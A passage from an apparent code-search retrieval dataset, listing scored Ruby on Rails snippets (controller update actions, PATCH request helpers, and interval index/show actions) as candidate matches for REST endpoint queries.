"text": "def update\n @dife = Dive.find(params[:id])\n\n respond_to do |format|\n if @dife.update_attributes(params[:dife])\n format.html { redirect_to @dife, notice: 'Dive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dife.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bee36222ee61ec884d3945fb8a43bbb0",
"score": "0.5796351",
"text": "def update\n @ed = Ed.find(params[:id])\n\n respond_to do |format|\n if @ed.update_attributes(params[:ed])\n format.html { redirect_to @ed, notice: 'Ed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b89f7321e47bba4cc92fd02231b19c6c",
"score": "0.5790044",
"text": "def update\n @estudiante = Estudiante.find(params[:id])\n\n if @estudiante.update(params[:estudiante])\n head :no_content\n else\n render json: @estudiante.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c956706c9e7f8ab1dc63087fcfdfe340",
"score": "0.5780957",
"text": "def update\n respond_to do |format|\n if @enfermedade.update(enfermedade_params)\n format.html { redirect_to @enfermedade, notice: 'Enfermedade was successfully updated.' }\n format.json { render :show, status: :ok, location: @enfermedade }\n else\n format.html { render :edit }\n format.json { render json: @enfermedade.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "424cef138d566a93694af08b075c67e9",
"score": "0.5776752",
"text": "def update\n respond_to do |format|\n if @digom.update(digom_params)\n format.html { redirect_to @digom, notice: 'Digom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @digom.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dbb28b78ebd14a35895337cf6eecee2a",
"score": "0.5767803",
"text": "def patch(path, data = nil)\n request(:patch, path, data)\n end",
"title": ""
},
{
"docid": "a9a7bf63fffdaf43ed4c76593ebe2674",
"score": "0.57667536",
"text": "def patch(url, data, options={})\n default_client.patch(url, data, options)\n end",
"title": ""
},
{
"docid": "650fa90ab89061b25f2f69dbbb1dd239",
"score": "0.576556",
"text": "def update\n @rede = Rede.find(params[:id])\n\n respond_to do |format|\n if @rede.update_attributes(params[:rede])\n format.html { redirect_to @rede, notice: 'Rede was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rede.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "249d4fdfb1fc0c681eca504cd930f289",
"score": "0.57521",
"text": "def update\n @api_v1_post_flag = PostFlag.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_flag.update_attributes(params[:api_v1_post_flag])\n format.html { redirect_to @api_v1_post_flag, notice: 'Post flag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_flag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bdb1db4d361e973f07d43bdeeaeba7e3",
"score": "0.5752016",
"text": "def update\n delete(true)\n create\n end",
"title": ""
},
{
"docid": "75fdea21f9e4ef2fb58022e52b7cbd13",
"score": "0.57430935",
"text": "def update\n @deisgn = Deisgn.find(params[:id])\n\n respond_to do |format|\n if @deisgn.update_attributes(params[:deisgn])\n format.html { redirect_to @deisgn, :notice => 'Deisgn was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @deisgn.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "765d7164cee41701ef01fb20d8645882",
"score": "0.5742732",
"text": "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"title": ""
},
{
"docid": "b08a20f315c95406eb42564f66833904",
"score": "0.57412016",
"text": "def update\n @diet = current_user.diets.find_by_id(params[:id])\n foods = \"\"\n params[:foods].each do |food|\n foods = foods + food + \"|\"\n end\n foods = foods + \"a\"\n @diet.foods = foods\n respond_to do |format|\n if @diet.update(diet_params)\n format.html { redirect_to \"/muestra_dieta.html\", notice: 'Diet was successfully updated.' }\n format.json { render :show, status: :ok, location: @diet }\n else\n format.html { render :edit }\n format.json { render json: @diet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "674d1d9884002d440290e24a4d434d7c",
"score": "0.57408077",
"text": "def update\n respond_to do |format|\n if @diet.update(diet_params)\n format.html { redirect_to @diet, notice: 'Diet was successfully updated.' }\n format.json { render :show, status: :ok, location: @diet }\n else\n format.html { render :edit }\n format.json { render json: @diet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6283d5b0efd676645cd5b91fb528018a",
"score": "0.5733066",
"text": "def favorite\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/2/favorite'\n ).to_s\n\n puts RestClient.patch(\n url,{}\n )\nend",
"title": ""
},
{
"docid": "695ddc77791dfc151685e5d48c51c2f4",
"score": "0.5728213",
"text": "def update\n \trespond_to do |format|\n # include seed in agent?\n if params[:seed][:publisher] != 'none' then\n @seed = Seed.where(:identifier => params[:seed][:identifier]).first\n if @seed.nil?\n @seed = @agent.seeds.build(seed_params)\n else\n @seed.update(seed_params)\n end\n end\n if @agent.update(agent_params)\n format.html { redirect_to @agent, notice: 'Agent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @agent.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a6449a909079f924199a7286968ff6a5",
"score": "0.57204026",
"text": "def update\n @options[:body] = @entity.attrs[:body]\n @options[:headers]['Content-Type'] = 'application/json'\n url = @url_helper.entity_url\n request(:patch, url)\n end",
"title": ""
},
{
"docid": "1e507f9ec7e5e6dfa10a9226552ae2c8",
"score": "0.57175905",
"text": "def update\n respond_to do |format|\n if @recipe_diet.update(recipe_diet_params)\n format.html { redirect_to @recipe_diet, notice: 'Recipe diet was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe_diet }\n else\n format.html { render :edit }\n format.json { render json: @recipe_diet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "294cbc24dc4ab1a647c473314e15bcb3",
"score": "0.57161295",
"text": "def update\n @descriptor = Descriptor.find(params[:id])\n\n respond_to do |format|\n if @descriptor.update_attributes(params[:descriptor])\n format.html { redirect_to @descriptor, notice: 'Descriptor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @descriptor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5b5ee91406ec54a598ef6c89961939e",
"score": "0.57120657",
"text": "def update\n respond_to do |format|\n if @good_deed.update(good_deed_params)\n format.html { redirect_to @good_deed, notice: 'Good deed was successfully updated.' }\n format.json { render :show, status: :ok, location: @good_deed }\n else\n format.html { render :edit }\n format.json { render json: @good_deed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5266233f8087483ac26fff0207302866",
"score": "0.57083476",
"text": "def update\n @draft = Draft.find(params[:id])\n\n respond_to do |format|\n if @draft.update_attributes(params[:draft])\n format.html { redirect_to @draft, notice: 'Draft was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @draft.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.57078975",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "64818f4917c958e8080149b72a46d2b0",
"score": "0.57066673",
"text": "def update\n respond_to do |format|\n if @dodo.update(dodo_params)\n format.html { redirect_to @dodo, notice: 'Dodo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23629d3c9428a603cafd58664336c77f",
"score": "0.57063705",
"text": "def update\n @gotel = Gotel.find(params[:id])\n\n respond_to do |format|\n if @gotel.update_attributes(params[:gotel])\n format.html { redirect_to @gotel, notice: 'Gotel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gotel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08442133ea3561116d18bbd1ad9b19bd",
"score": "0.5701839",
"text": "def update\n @ladder = Ladder.find(params[:id])\n\n if @ladder.update(ladder_params)\n head :no_content\n else\n render json: @ladder.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "999e34081f1230824d8e5850e6040b19",
"score": "0.5700485",
"text": "def update\n @lendee = Lendee.find(params[:id])\n\n respond_to do |format|\n if @lendee.update_attributes(params[:lendee])\n format.html { redirect_to @lendee, notice: 'Lendee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lendee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b7f20a54c109ee7a2a8056dbb38f69a5",
"score": "0.5699297",
"text": "def update\n @donee = Donee.find(params[:id])\n\n respond_to do |format|\n if @donee.update_attributes(params[:donee])\n format.html { redirect_to @donee, notice: 'Donee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @donee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "725758d5d2fa14dcadf6b91e2efac35a",
"score": "0.56924826",
"text": "def update\n respond_to do |format|\n if @api_v1_field_datum.update(api_v1_field_datum_params)\n format.html { redirect_to @api_v1_field_datum, notice: 'Field datum was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_field_datum }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_field_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "18681d119daae2585bb302f9fd9b1ca5",
"score": "0.568734",
"text": "def update\n @nerd = Nerd.find(params[:id])\n\n respond_to do |format|\n if @nerd.update_attributes(params[:nerd])\n format.html { redirect_to @nerd, notice: 'Nerd was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nerd.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "674b2d9ad5ff2c138b3df57309a042f6",
"score": "0.56826884",
"text": "def update\n @sede = Sede.find(params[:id])\n\n respond_to do |format|\n if @sede.update_attributes(params[:sede])\n format.html { redirect_to @sede, notice: 'Sede was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sede.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "151e78e59a997f5d8cfdf193c5d72379",
"score": "0.5680608",
"text": "def update\n respond_to do |format|\n # Require remoderation after update\n full_article_params = article_params.merge(fresh: true)\n if !@article.update(full_article_params) \n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to @article, notice: t('articles.successfully_updated') }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "0f0e683fe3eeda0bd68aa872fc94cd0d",
"score": "0.567997",
"text": "def update\n @deed_vote = DeedVote.find(params[:id])\n\n if @deed_vote.update(params[:deed_vote])\n head :no_content\n else\n render json: @deed_vote.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1f957e8396714ab340b20ef5268dceb0",
"score": "0.5673222",
"text": "def update\n @diocese = Diocese.find(params[:id])\n\n if @diocese.update(diocese_params)\n head :no_content\n else\n render json: @diocese.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "abce1dfbfa7adc8a127622108f732a95",
"score": "0.5672327",
"text": "def update_person(api, cookie, perstoupdate, person)\n pers_id = perstoupdate['id']\n option_hash = { content_type: :json, accept: :json, cookies: cookie }\n pers = nil\n res = api[\"people/#{pers_id}\"].patch person.to_json, option_hash unless $dryrun\n if res&.code == 201\n pers = JSON.parse(res.body)\n end\n pers\nend",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.567138",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "04f6e3b25e2bbbdb0fdf73706fdc5c2b",
"score": "0.56705767",
"text": "def update\n if @debt.update(params.permit(:quantity, :description))\n render json: @debt \n else\n\t\t\t\trender json: @debt.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "715c972f0124fc2e527277ddf6ac3469",
"score": "0.5660367",
"text": "def update\n @depot = Depot.find(params[:id])\n\n respond_to do |format|\n if @depot.update_attributes(params[:depot])\n format.html { redirect_to @depot, notice: 'Depot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @depot.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b08444a90dfc8f62c61b80260092762",
"score": "0.5657116",
"text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n case params[:commit]\n when 'Update Draft' \n # TODO: need to be able to change and update the nested attributes too.\n @post.draft.update_attributes(:content => params[:post][:content], :title => params[:post][:title])\n format.html { redirect_to admin_posts_url, :notice => 'Draft was successfully updated.' }\n format.json { head :ok }\n \n when 'Update Post'\n #@post.replace_with_draft! #investigate this\n @post.update_attributes(params[:post])\n @post.destroy_draft!\n format.html { redirect_to admin_posts_url, :notice => 'Post was successfully published.' }\n format.json { head :ok }\n \n when 'Save as Draft'\n @post.instantiate_draft!\n format.html { redirect_to admin_posts_url, :notice => 'Post saved as a draft.' }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n \n end\n end\n end",
"title": ""
},
{
"docid": "5f9f0ac48fd14f564c0ad6117f1f2228",
"score": "0.5656666",
"text": "def update\n @department = Department.find(params[:id])\n \n respond_to do |format|\n if @department.update_attributes(params[:department])\n format.json { head :no_content }\n else\n respond_with @department.errors, status: :unprocessable_entity \n end\n end\n end",
"title": ""
},
{
"docid": "26f21c7d38b2d4d9cffd83f9854372d8",
"score": "0.5654069",
"text": "def update\n beer = Beer.find(params[:id])\n beer.update(beer_params)\n render json: beer\n end",
"title": ""
},
{
"docid": "1c0437f7339d027f3e2546b5920bf3cf",
"score": "0.56526524",
"text": "def update\n respond_to do |format|\n if @demoreel.update(demoreel_params)\n format.html { redirect_to root_url, notice: 'Demoreel was successfully updated.' }\n format.json { render :show, status: :ok, location: @demoreel }\n else\n format.html { render :edit }\n format.json { render json: @demoreel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "706c768810a844e60421e429358cc8e6",
"score": "0.56515694",
"text": "def update\n @dame = Dame.find(params[:id])\n @breeds = Breed.find(:all)\n\n respond_to do |format|\n if @dame.update_attributes(params[:dame])\n format.html { redirect_to(dames_path, :notice => 'Dame was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dame.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65c922502cb5f29ac441ef523f7bf9f8",
"score": "0.5651386",
"text": "def update\n @detall = Detall.find(params[:id])\n\n respond_to do |format|\n if @detall.update_attributes(params[:detall])\n format.html { redirect_to @detall, notice: 'Detall was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @detall.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85f533646c09e2d1b1d8ab4a7b4e4c6e",
"score": "0.5650175",
"text": "def patch_object(path, id, info, attributes_to_delete = nil)\n info = info.merge(meta: { attributes: Util.arglist(attributes_to_delete) }) if attributes_to_delete\n json_parse_reply(*json_patch(@target, \"#{path}/#{URI.encode(id)}\", info, @auth_header))\n end",
"title": ""
},
{
"docid": "cf5e5671c209d0d639263ada99d4f012",
"score": "0.56499517",
"text": "def update\n @post = Post.find(params[:id])\n \n @fred = Fred.find(@post[:fred_id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @fred, notice: t(:updated_post_success) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "127193a9b695d95bf6538bf269cb1be9",
"score": "0.5644576",
"text": "def update\n article = Article.find(params[:id])\n article.update(article_params)\n render json: { article: article }\n end",
"title": ""
},
{
"docid": "931f17c5c899a79322a439bd3a6eca7b",
"score": "0.56430376",
"text": "def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "984c51b5a0d5d9aed9f0db63025f467c",
"score": "0.56412566",
"text": "def update\n @fabricante = Fabricante.find(params[:id])\n\n respond_to do |format|\n if @fabricante.update_attributes(params[:fabricante])\n format.html { redirect_to @fabricante, notice: 'Fabricante was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fabricante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34c10c4557f689baa30ce671828a8692",
"score": "0.56400853",
"text": "def update\n @api_v1_post = Post.find(params[:id])\n params[:post].delete :created_at\n params[:post].delete :updated_at\n respond_to do |format|\n if @api_v1_post.update_attributes(params[:post])\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6823ca2eb6b168572557c700ad11a10f",
"score": "0.5627019",
"text": "def update\n respond_to do |format|\n if @j_datum.update(j_datum_params)\n format.html { redirect_to @j_datum, notice: 'JSON file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @j_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f22d822566359dbee2ad312d0e692ad",
"score": "0.5625766",
"text": "def patch(uri, options = {})\n request :patch, options\n end",
"title": ""
},
{
"docid": "ecea55e2dd6438e77859c01fde0c57f8",
"score": "0.5625509",
"text": "def update\n respond_to do |format|\n if @deep_datum.update(deep_datum_params)\n format.html { redirect_to @deep_datum, notice: 'Deep datum was successfully updated.' }\n format.json { render :show, status: :ok, location: @deep_datum }\n else\n format.html { render :edit }\n format.json { render json: @deep_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b810fd841981117bc996f6960425241",
"score": "0.5624216",
"text": "def update\n @dthem = Dthem.find(params[:id])\n\n respond_to do |format|\n if @dthem.update_attributes(params[:dthem])\n format.html { redirect_to @dthem, notice: t(:updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dthem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5d140388eb8356aad0724e69475787c3",
"score": "0.5621412",
"text": "def patch(path, params = {}, env = {})\n request(path, env.merge(method: \"PATCH\", params: params))\n end",
"title": ""
},
{
"docid": "d92c50401a9be5caf76d107e68c0f04b",
"score": "0.5618887",
"text": "def update\n @fiddle.touch\n respond_to do |format|\n if @fiddle.update(fiddle_params)\n @fiddle.write_to_disk\n format.html { render :show }\n format.json { render json: { :updated_at => @fiddle.updated_at } }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fiddle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "47abb2cddfa1a665018f717cdaaa4164",
"score": "0.5616339",
"text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end",
"title": ""
},
{
"docid": "d1e4e1c5ccd900bc779ea84d52df8f2c",
"score": "0.56162786",
"text": "def update\n @detention = Detention.find(params[:id])\n\n respond_to do |format|\n if @detention.update_attributes(params[:detention])\n format.html { redirect_to @detention, :notice => 'Detention was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @detention.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0c65aef632dd141ddcff51a5ab56346",
"score": "0.5609207",
"text": "def patch(path, params = {}, env = {})\n request(path, env.merge(method: \"PATCH\".freeze, params: params))\n end",
"title": ""
},
{
"docid": "8ba023d466b4cf7c5502971873e4b777",
"score": "0.5606986",
"text": "def update\n if @meal.update(meal_params)\n head :no_content, status: 204\n else\n render json: @meal.errors, status: :unprocessable_entity \n end\n\n end",
"title": ""
},
{
"docid": "77ce27989a6eb1263af612ecffa00850",
"score": "0.5602032",
"text": "def update\n update! do |success, failure|\n success.json { render :json => resource }\n end\n end",
"title": ""
},
{
"docid": "df7bba51fb0576a30a02ee60a676654e",
"score": "0.5600098",
"text": "def update\n @dnatest = Dnatest.find(params[:id])\n\n respond_to do |format|\n if @dnatest.update_attributes(params[:dnatest])\n format.html { redirect_to @dnatest, :notice => 'Dnatest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @dnatest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "779a91b90c7e731678971b5689ec9b70",
"score": "0.55994004",
"text": "def update\n @post = Post.find(params[:id])\n @post.update(post_params)\n render json: @post \n end",
"title": ""
},
{
"docid": "8e39adccff3f24eee8fedd97407c13cc",
"score": "0.5598055",
"text": "def update\n # @dash = Dash.find(params[:id])\n\n # respond_to do |format|\n # if @dash.update_attributes(params[:dash])\n # format.html { redirect_to @dash, notice: 'Dash was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @dash.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "98d6d529f9feaf14eb4787ef64501057",
"score": "0.5597241",
"text": "def edit\n respond_with(recipe)\n end",
"title": ""
},
{
"docid": "31bb2d3e5cc389e29c42527ad56ae96f",
"score": "0.5588505",
"text": "def update\n respond_to do |format|\n if @article.update(article_params)\n @article.save_as_draft if params[:save_as_draft].present?\n format.html { redirect_to articles_url, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
6ae253c382a7a9a2ed6ae33b01c7c7b8
|
GET /intervals/1 GET /intervals/1.json
|
[
{
"docid": "6dbe43f22c8ccaad8b355f51ce477395",
"score": "0.71936697",
"text": "def show\n @interval = current_user.intervals.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interval }\n end\n end",
"title": ""
}
] |
[
{
"docid": "6259d9e3dcbd072ae51cea32ec4b850e",
"score": "0.76402557",
"text": "def index\n @intervals = Interval.all\n\n render json: @intervals\n end",
"title": ""
},
{
"docid": "90cb7dd95b8ba1c8d724fc4ab5e83b90",
"score": "0.71222043",
"text": "def show\n render json: @interval\n end",
"title": ""
},
{
"docid": "c2d07de64123aacacac41fff5f10d29e",
"score": "0.71032864",
"text": "def get_intervals()\n \n end",
"title": ""
},
{
"docid": "eea752cb99ffa177c205e21e7272e725",
"score": "0.706009",
"text": "def get_intervals\n return @intervals\n end",
"title": ""
},
{
"docid": "c9c17bb4e5a4da88c6d5dc5b6aa8c97c",
"score": "0.69891334",
"text": "def instrument_get_active_intervals(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: InstrumentApi#instrument_get_active_intervals ...\"\n end\n \n # resource path\n path = \"/instrument/activeIntervals\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InstrumentInterval')\n if Configuration.debugging\n Configuration.logger.debug \"API called: InstrumentApi#instrument_get_active_intervals. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "39628562f1120eceef093a5b3060ff5f",
"score": "0.675496",
"text": "def index\n #todo scope by current user meter\n @intervals = Interval.bydate.page params[:page]\n end",
"title": ""
},
{
"docid": "2c14e4f0c7fe46e4649d1c86aa715e60",
"score": "0.6721446",
"text": "def __parse_intervals(resp)\n intervals = JSON.parse('[' + resp.chomp.gsub(/\\r\\n/, ',') + ']')\n data = []\n intervals.each do |interval|\n data.push([interval[0], 0])\n data.push([interval[1], 0])\n data.push(nil) # break up the intervals\n end\n data\n end",
"title": ""
},
{
"docid": "deaed427ebae4be11af1979994f4fd2e",
"score": "0.6667951",
"text": "def instrument_get_active_intervals_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: InstrumentApi.instrument_get_active_intervals ...\"\n end\n # resource path\n local_var_path = \"/instrument/activeIntervals\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InstrumentInterval')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InstrumentApi#instrument_get_active_intervals\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "6628ef31ae2f2fc3ef475722fbf48069",
"score": "0.6566336",
"text": "def index\n @interval = current_user.opened_interval\n\n respond_to do |format|\n if @interval.nil?\n format.html { redirect_to new_interval_url }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_interval_url(@interval) }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "3a80fcdf585aede19b449e69afe31ad6",
"score": "0.6459105",
"text": "def index\n @course = Course.find(params[:course_id])\n @intervals = @course.intervals.find(:all, :limit => @course.repetitions + 1 )\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @intervals }\n end\n end",
"title": ""
},
{
"docid": "54dc3cf5a97da247f35ca675a4e3b75d",
"score": "0.62712115",
"text": "def time_of_use_intervals(load_serving_entity_id, time_of_use_group_id, options = {})\n get(\"public/timeofuses/#{load_serving_entity_id}/#{time_of_use_group_id}/intervals\", interval_params(options)).results\n end",
"title": ""
},
{
"docid": "55fe85fea7c697dcc7bd09ae330fc878",
"score": "0.6261376",
"text": "def index\n @task = current_user.tasks.new\n\n todays_work_intervals = current_user.todays_intervals.select{ |interval| interval.work? }\n\n todays_breaks_intervals = current_user.todays_intervals.select{ |interval| interval.break? }\n\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n hash = {\n resume: current_user.tasks.tasks_to_resume,\n start: current_user.tasks.tasks_to_start,\n done_today: current_user.tasks.done.updated_today,\n todays_work_duration: duration_of_intervals(todays_work_intervals),\n todays_breaks_duration: duration_of_intervals(todays_breaks_intervals)\n }\n render json: hash \n }\n end\n end",
"title": ""
},
{
"docid": "3ba4688d7a25938a7babb6b622bd975e",
"score": "0.62533945",
"text": "def create\n @interval = Interval.new(interval_params)\n\n if @interval.save\n render json: @interval, status: :created, location: @interval\n else\n render json: @interval.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5dff279062c9693b00325c8d04a38237",
"score": "0.6247683",
"text": "def energy_level_intervals\n result = {}\n @location = Location.find(params[:location_id])\n start_date = params[:start_date] ? Date.parse(params[:start_date]) : Date.today\n end_date = params[:end_date] ? Date.parse(params[:end_date]) : Date.today\n\n (start_date..end_date).each do |date|\n result[date] = @location.energy_level_intervals(date)\n end\n\n render :json => result\n end",
"title": ""
},
{
"docid": "243b812197e95a100a22c6824649c22f",
"score": "0.62257814",
"text": "def set_interval\n @interval = Interval.find(params[:id])\n end",
"title": ""
},
{
"docid": "243b812197e95a100a22c6824649c22f",
"score": "0.62257814",
"text": "def set_interval\n @interval = Interval.find(params[:id])\n end",
"title": ""
},
{
"docid": "80e8aa0800d51336aaa30ea8c742cc2a",
"score": "0.61298704",
"text": "def instrument_get_active_intervals(opts = {})\n data, _status_code, _headers = instrument_get_active_intervals_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "90c0bf4346765ff7c76309ebaf06c458",
"score": "0.6083673",
